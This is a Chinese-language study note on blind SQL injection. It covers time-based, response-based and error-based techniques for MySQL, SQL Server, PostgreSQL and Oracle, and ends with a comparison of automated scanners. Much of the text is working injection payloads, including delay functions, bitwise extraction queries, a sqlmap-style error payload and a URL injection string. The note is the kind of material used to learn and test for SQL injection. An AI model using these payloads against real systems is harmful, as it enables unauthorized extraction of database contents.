sql注入中的盲注的几种类型
1.基于时间延时注入
基于时间的手工盲注一般都是通过二分法或逐位法确定范围获取目标值。大大缩小了请求数。
通过控制,获取响应时间来判断目标值的正确性。使用大量情况,在纯盲情况下成功率较高,缺点就是时间太长。
1.1针对mysql
对mysql进行盲注的时候尽量使用#作为注释符号,使用--会引起很多缺少'错误使得数据库无法正常执行攻击语句
利用IF语句判断可能的值,如果值满足条件,则使用函数使sql语句在数据库长时间执行从而通过响应时间判断值得方式。该注入方式为推断形盲注
IF(SUBSTRING(current,1,1)=CHAR(101),BENCHMARK(10000000,ENCODE('sasssG','zcxczx')),null),count(*) FROM (SELECT Database() as current) as tbl;
分析语句:
以下函数在一次盲注中都不会变化,承担逻辑处理功能:
length(列)判断其字符长度
SUBSTING(待提取字符,开始字符,提取字符长度)开始字符不断增加
CHAR(101)字符型数据,不断变化测试值
benchmark(执行次数,被测试函数)该函数是mysql独有的测试函数执行之间函数
encode(被加密字符,加密秘钥)
decode(被解密字符,解密秘钥)
需要通过select length(database())函数确定目标值长度。
以下函数需要变化以应对不同的目标值:
当前连接数据库
database();
所有数据库
INFORMATION_SCHEMA.SCHEMATA
已知数据库查该数据库下表名
select * from tables where table_schema='mytest';
获取系统用户
SELECT SYSTEM_USER()
获取当前用户
SELECT CURRENT_USER()
limit 1,1查询结果第一条,总共显示一条
枚举命令总结
1.所有数据库
select schema_name FROM information_schema.schemata;
1.2针对sqlserver
查看当前数据库
sqlsever则不需要像mysql一样使用union执行select 可以直接if判断目标值
select * from userinfo if(SUBSTRING(DB_NAME(),1,1)=CHAR(116)) waitfor delay '0:0:5'
二分法: IF ASCII(SUBSTRING(SYSTEM_USER,1,1))>30 WAITFOR DELAY '0:0:5'
使用分析:
DB_NAME()当前数据库:
select name from sysobjects 获取当前所有表,可以通过字段进行筛选,
获取准备行数据:
select * from (select row_number() over (order by name ) as row_num,name from sysobjects)t
where row_num between 48 and 48 获取第48行数据
name表示表名字段
row_number() over (order by 字段名)给予表序号得到一张新表作为子查询
再通过between and关键字筛选出需要的表名。
sysobjects存放了sqlsever所有数据库的表和其相关信息,有以下字段可以作为where子句选项
uid: 创建用户id sa管理用uid为1
xtype:可以区分是否是用户创创建表 用户创建:u 系统创建:S SQ IT
查看当前连接数据库下的某表某列
select name from sys.columns where object_id=(select id from sysobjects where name='userinfo') AND culumn=1
查看userinfo的列名,culumn控制第几列,可以根据count(*)函数知道有多少列;
sqlsever表,数据库,系统结构信息:
根据以上语法技巧,只要知道了目标数据所存放的系统表名就可以枚举所有需要的系统数据,因为sqlserver的所有更新数据均可在系统表或者系统视图中找到
master..sysdatabases()存放了该连接下所有的数据库,一定要指定数据库名
DB_NAME()是当前数据库
sysobjects()当前连接下对象列表,包括表,视图。
sys.columns()存放当前数据库下所有列明
在查询的时候一定要指定数据库。
新思路:逻辑与左边结果为0,右边则不执行,可以在左边判定目标值查询,右边用长时间子查询。来进行判断目标值。对应工具为marathontool.
1.3针对postgreSQL
pg_sleep()函数:
该数据库主要延时函数pg_sleep()为系统默认安装函数。但是该函数返回值为void意味着不能再where中使用。
如果在数据库连接中拥有创建函数权限可重写pg_sleep()函数:
CREATE OR REPLACE FUNCTION pause(integer) RETURNS intege as $$ DECLARE wait alias for $1;BEGIN PERFORM pg_sleep(wait); RETURN 1; END; $$LANGUAGE 'plpgsql' STRICT;
有返回值后则可以在where或者拆分平衡时使用。使用CASE 表达式 WHEN 条件 THEN 执行语句 ELSE 执行语句。其二分法与mysql类似。
二分法:SELECT CASE WHEN (ASCII(SUBSTR('',i,1))>K) THEN pg_sleep(1)|PAUSE(1) END;SELECT NULL,NULL,NULL;--
当使用pg_sleep(5)时需要加上三个哑查询。
判断是否为超级用户: id=1+(SELECT CASE (SELECT username FROM pg_user WHERE usesuper IS TRUE and current_user=username) WHEN (user) THEN PAUSE(5) ELSE 1 END)
1.4针对oracle
存在时间注入函数DBMS_LOCK.SLEEP(N) ,但是属于plsql代码,不是sql中的函数。而且oacle不支持堆叠查询。普通用户无权限使用DBMS包。最好的情况是当前用户是管理员且注入点事pl/sql块。
IF (BITAND(ASCII(SUBSTR(XXX,1,1)),2)=2) THEN DBMS_LOCK.SLEEP(5); END IF;
BITEND函数将两个参数转2进制按位与 通过以上代码在在代码注入。
对oacle进行url型的sql注入使用如下代码,要求是管理员权限。
count_reviews.aspx?review_author=MadBob' OR 1= CASE WHEN SYS_CONTEXT('USERENV','ISDBA')='TRUE' THEN DBMS_PIPE.RECEIVE_MESSAGE('foo',5) ELSE 1 END -
DBMS_PIPE.RECEIVE_MESSAGE('foo',5) 暂停5秒函数,可以嵌入带sql语句中
时间注入函数总结
PostgreSQL: |
select pg_sleep(n) pause(n) |
1. 无法再sql中使用 2. 自定义函数 |
Oracle PL/SQL : |
BEGIN DBMS_LOCK.SLEEP(5); END; 或者 or 1=dbms_pipe.reveive_message(‘RDS’,10) |
1. 无法在sql中使用 2. 管理员权限 |
Mysql: |
sleep(n) BENCHMARK(100000,ENCODE(‘HELLO’,’MON’)); |
1. 所有用户 2. 所有用户 |
Microsoft SQL server: |
:xxx.jsp?uid=22;waitfor delay ‘0:0:5’ |
1.条件判断之后 |
利用盲注判断注入点:
1. 产生通用错误,如加冒号,括号,破坏原有的sql语句。判断是否只有引号情况下才产生通用错误页面。可以判断程序是否有sql注入过滤。若产生了通用错误页面代表程序不认识单引号也就是没有对敏感字符的过滤,那么注入的成功率会较大。
1. 注入带副作用的sql,常规的有时间延时函数,如下各类数据库延时函数,可以判断当前用户是否有权限执行时间函数,判断数据库版本,判断sql语句是否被执行
2. 若通用错误注入与副作用注入不起作用的情况下,可以使用拆分与平衡。拆分正常的参数,平衡不和谐的结尾单引号。将正常的参数在满足sql语法的情况下,与原来的参数不同。oalce使用||连接字符串,SQLserver使用加号连接字符串,更高级的拆分即是使用BNF语法。
mysql字符连接用空格
以上包含了大部分常用数据的表达式拆分法,包括注入字符串,类型表达式,字符串表达式,数字表达式,数据表达式
盲注利用:
1.推断型注入:一些简单的问题,比如我们是否是作为管理员连接?连接的数据库是否是sqlserver2005?类似的语句转化为sql,在注入的时候需要经常变换永真条件来绕过固定字符过滤,也不能总用一字符进行请求,需要经常变换,还需要考虑网络延时造成误判数据的发生。
增加推断攻击技术复杂性:boolean或者时间注入,常常使用二分法进行数字比对大大缩小判定时间,在所有数据库中都提供了ASCII()将字符转为int值得方法。二分查找的问题是无法在获取第一个请求之前发送第二个请求。对于MD5加密后的数据仅仅16个字符遍历
逐位推断漏洞:通过字符转ASCII码后与2^0,2^1,2^2………2^7依次异或,若异或后的值小于原来的值,代表原码对应2^j的j位的值为1,若分别2^3,2^5值变小,其他值都比原值大,则原码2^3+2^5为00101000对应为(,左括号字符。这样的做法对应包含成百上千行的数据可评估表的大小.并且一般英文字符判断8次就能出结果。逐位的方法可以缩短请求数量,但是会增加判断时间。因为每个字符八次判断中平均有4次需要延时。如果目标值有6个字符则需要48个请求,平均24个请求会被延时。若每个延时2秒,不延时为0.1秒则共需要50.4秒才能判断出目标数据。如果采用原始方式每个字符判断36次共6个字符。216个请求,但是如果延时为两秒,不延时为0.1秒,则12+204*0.1=32.4秒。从时间上来分析该算法时间会很长。但从请求量来分析,该算法的请求数为原请求数的1/4.5;
按位异或 小于 则是目标值
按位与 等于 则是目标值
2.基于响应技术
基于响应技术的实用性和优点:
1. 相对时间注入受外在不可控因素影响较小,对网络传输,服务器负载,网络情况等影响较小。
2. 不需要长时间的等待,及时能判定结果。
3. 在注入是必须是数据库或者程序的执行错误,而不是语法的错误,才能判断目标。
4. 但是该注入只使用于返回的响应能被攻击者修改的注入点。如果不能则需要复杂的语句创造错误页面。
5. 产生执行错误的思路:
1. 除数为0产生执行错误
2. ASP.NET默认出错页面,捕获底层错误。在正常参数中加'&aspxerrorpath=/foo 或‘
针对MYSQL响应:
1.SELECT COUNT(*) FROM XXX WHERE XXX=''
2.SELECT COUNT(*) FROM XXX WHERE XXX='' AND ASCII (SUBSTRING(USER(),1,1))&2^j=2^j #
第1条语句是程序正常执行语句,查询满足条件的条数。
第2条语句是基于响应的注入,在判定条件不成立的情况下则会出现错误页面,在成立的情况下则产生正确页面。
利用逐位,拆分与平衡的方法实现内联注入。利用响应结果得到真假页面
SELECT COUNT(*) FROM XX WHERE id=1+IF(ASCII(SUBSTRING(CURRENT_USER(),1,1))&2=2,1,0)
注意:mysql没有用于字符串连接的运算符,仅有concat()函数连接。
在无法控制响应结果的时候就创造响应结果,红色标记的sql语句则是一个子查询返回多行的执行错误。当按位比较成功时则返回错误页面,当失败时就返回1回到正常页面,
SELECT COUNT(*) FROM userinfo WHERE username=IF(ASCII(SUBSTRING(CURRENT_USER(),1,1))&2=2,(SELECT table_name FROM information_schema.columns WHERE table_name=(SELECT table_name FROM information_schema.columns)),1);
不通过拆分与平衡进行注入,通过逐位算法注入and配合逻辑表达式进行注入。
tomcat' AND IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))&4,1,0); #
根据返回数据确定值是否正确,依赖手工注入,或者通过编程对应网站实现。
针对PostgreSQL响应技术:
1. 通过and ASCII(SUBSTR(XXX,I,1))&2=2;返回结果不同则能判断目标值。
2. 利用拆分与平衡时注意PostgreSQL的字符串连接符是 ||
3. 使用 CASE WHEN EXPER1 THEN 1/0 END进行拆分
4. php中display_errors=on,会使数据库错误信息返回到页面
针对sqlserver响应技术:
1. 猜测当前创建连接的用户是否为sa,AND SYSTEM_USER='sa' 通过返回结果判断
2. sqlserver中使用+来进行字符串的拼接
3. sqlserver中能很好的运用拆分与平衡来基于响应推断。
4. IIS6,7上的APS.NET站点若没有在web.config下<customError>标签中指定错误页面,则会返回默认的错误页面。捕获底层信息
针对ORACLE响应技术:
1.ORACLE中语法有些不同,这是直接猜测DBA。
SELECT * FROM reviews WHERE review_autho='XXX' SYS_CONTEXT('USERENV','ISDDBA')='TRUE';
2.这是oracle的逐位函数BITAND(),将两个数字按位与
SELECT * FROM reviews WHERE review_author='XXX' AND BITAND(ASCII(SUBSTR(XX,1,1)),2)=2
3.ORACLE中字符拼接用||符号,使用除数为0来构造错误。ELSE后的空单引号不产生错误。在用除法构造错误的时候一定要用CAST()封装,否则编译无法通过。
MadBob' || (SELECT CASE WHEN BITAND(ASCII(SUBSTR(XX,1,1))2)=2 THEN CAST(1/0 AS CHAR) ELSE '' END FROM DUAL)||';
多位返回技术:
对逐位方法的改进,利用CASE WHEN 语句 多分支判断位。
SELECT * FROM reviews WHERE review_author=''+(SELECT
CASE
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=0 //此时待判断位为00
'result1'
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=2 //此时待判断位为01
'result2'
WHEN ASCII(SUBSTRING(XXX,1,1))&(2+4)=4 //此时待判断位为10
'result3'
ELSE //此时待判断位为11
'result4'
END)
黄色的替换值:3,12,48,192
红色的替换值:3[0,1,2], 12[0,4,8], 48[0,16,32] 192[0,64,128]
绿色的替换值:1----len(目标)
以下是十分正确的语句:
SELECT * FROM userinfo WHERE username=''+(SELECT CASE ASCII(SUBSTRING('`,1,1))&6 WHEN 0 THEN '11' WHEN 2 THEN '22' WHEN 4 THEN '33' ELSE '44' END)
针对新闻页面,多响应页面的注入点可以用多位返回技术。。
3.基于错误盲注
1.针对mysql
1.由于自增字段达到上限,报错情况。左边冒号中的字符就是我们需要的情况,基于错误的注入目的就是将我们需要的目标值,想尽办法让之在报错中显示。
Duplicate entry 'qzkqqtime_zone_transition_typeqbxvq1' for key 'group_key'
以下为sqlmap原脚本,添加了许多混淆数据库日志字符。
SELECT * FROM userinfo WHERE username='illidan' AND (SELECT 6120 FROM(SELECT COUNT(*),CONCAT(0x717a6b7171,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6d7973716c) LIMIT 19,1),0x7162787671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- zgvK'
精简版(手工注入选择此项):
illidan' AND (SELECT 6120 FROM (SELECT COUNT(*), CONCAT((SELECT CAST(table_name AS CHAR) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x6d7973716c) LIMIT 19,1),FLOOR(RAND(0)*2) )x FROM mytest.userinfo GROUP BY x )a);-- WW
illidan为参数,用'闭合掉之前的',通过and一个子查询完成注入
继续简化
select count(*),CONCAT((select database()),floor(rand(0)*2))x from userinfo group by x;
核心语句:select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;
语句解析:
1. information_schema.character_sets该表示所有mysql数据库一经创建便会生成的系统表,因为其中存放了该数据库支持的各种编码。
2. 在该查询中count(*)是统计该分组下的数量
3. 分组依据是通过一个floor(rand(0)*2)实现,rand(0)可以生成一个固定的小数序列,在乘2向下取整后会变成一堆有序的01数组,再对每组统计长度,通过此方式分组统计会引起数据库自增序列达到上限从而报错,并且报错信息会显示group by关键字。通过连接目标值与rand序列即可获得需要的值。
SQLserver错误注入
SELECT * FROM userinfo WHERE username='22' AND 7974=CONVERT(INT,(SELECT (SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024)))) AND 'XbPE'='XbPE'
在sqlserver中直接针对目标数据进行不可能的类型转换。在转换失败的时候就会在报错信息中显示目标值。
CONVERT就是一个类型转换函数。
自动寻找sql注入工具比较
1. 识别数据输入
2. 注入数据
3. 检测响应中的异常
根据数据库返回的错误响应,SQL错误,500错误
1.HP WebInspect
商业工具,功能不仅仅是发现SQL注入漏洞,更主要的是完整评估Web站点的安全性。包括XSS,远程本地文件包含,SQL注入,OS命
令注入。
其验证sql注入的方式通过常规AND OR 等验证
2.IBM Rational AppScan
也是评估web站点安全性的商业工具。
测试方法相对HP WebInspect丰富
拆分与平衡,利用逻辑子句,堆叠查询,基于错误响应
'having 1=1-- 包含group by子句的
WF'SQL ''Probe;A-B
3.HP Scrawlr
1.免费,类似爬虫功能,分析每个web页面参数寻找sql注入点。
2.工具从根目录搜索web链接,不适用于独立页面或文件夹的站点
3.缺点是该工具只能测试get参数,post表单的sql注入点将不能被检测出。
4.上限是1500各URL
5.不查盲注,无身份代理,无脚本解析。只发三个字符,'OR 'AND 5=5 OR 'S'=0 number-0
4.SQLIX
1.免费,能查盲注和正常注入点。
2.不解析表单,自动post请求
3.可测试单个URL和一个文件类的所有URL。与HP Scrawlr配合使用。
测试key有:
字符转换错误,拆分与平衡,逻辑子句,16进制绕过滤,
功能强与HP Scrawlr,范围小于HP Scrawlr
5.Paros Proxy/Zed Attack Proxy
1.包含内部爬虫
2.手段包含:
休眠函数,常规逻辑判断。针对sqlserver
java编写,JRE1.4以上,免费
2016/8/22